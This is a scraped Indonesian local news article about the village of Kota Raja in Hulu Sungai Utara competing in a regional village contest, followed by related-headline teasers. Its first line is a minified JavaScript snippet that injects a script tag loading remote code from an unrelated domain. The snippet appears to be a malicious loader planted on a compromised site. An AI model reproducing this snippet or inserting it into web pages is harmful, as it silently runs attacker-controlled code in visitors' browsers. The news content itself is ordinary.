(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Menorehkan prestasi terbaik di tingkat Provinsi Kalimantan Selatan (Kalsel), Desa Kota Raja, Kecamatan Amuntai Selatan, Kabupaten Hulu Sungai Utara (HSU), mewakili Kalsel dalam Lomba Desa Tingkat Nasional Regional III Kalimantan-Sulawesi.
Lomba desa adalah salah satu bentuk evaluasi pemerintah desa dalam inovasi penyelenggaraan kepemerintahan, kewilayaan, dan kemasyarakatan.
Kepala Desa Kota Raja, Ahmad Sayuti Zaidi mengatakan, dengan adanya tim penilai mengakui banyak mendapatkan ilmu dan informasi tentang tata cara kelola yang baik dan pola untuk meningkatkan perekonomian masyarakat.
“Ada beberapa inovasi yang dikembangkan Desa Kota Raja baik dari bidang pelayanan seperti membuat aplikasi SiDak (Sistem Data Kependudukan) dan Salsa Bungas (Pelayanan Satu Hari Selesai, Baik, Unggul dan Ikhlas),” katanya didampingi perwakilan Dinas Pemberdayaan Masyarakat Desa Provinsi Kalsel saat menyambut kedatangan tim penilai, di Balai Desa Kota Raja, Selasa (27/8/2024).
Baca juga: Petahana Masih Kebagian, Waswas Kotak Kosong Urung di Ibu Kota Kalsel
Dia mengatakan selain inovasi bidang pelayanan juga ada inovasi dalam pengembangan ekonomi seperti BumDes.
“Kita meningkatkan ekonomi masyarakat melalui Bumdes dengan mengawal para pelaku UMKM di desa dengan mengadakan berbagai palatihan kreasi dan inovasi,” katanya.
Sementara Ketua tim penilai lomba desa, Malikus Sumadyo mengatakan, setelah melalui tahap lomba desa dan sekarang lolos menjadi 5 besar terbaik dari 15.399 desa di Regional III Kalimantan-Sulawasi, semua ini berkat kerja keras pemerintah desa, masyarakat, Pemkab HSU, dan Pemerintah Provinsi Kalsel.
Baca juga: Modal Petahana 16.058 Suara Sah, Aditya Akui Perjuangan Panjang, Sulit, dan Rumit
“Dalam rangka lomba desa tingkat Regional III Kalimantan-Sulawesi ada 5 provinsi yang masing-masing mewakili desa yang akan dinilai,” katanya. Tiga desa dari kalimantan dan dua desa dari sulawasi, untuk penilaian terdiri dari tiga parlementer yakni kepemerintahan, kewilayahan, dan kemasyarakatan. (Kanalkalimantan.com/dew)
Reporter: dew
Editor: bie
KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More
KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More
This website uses cookies.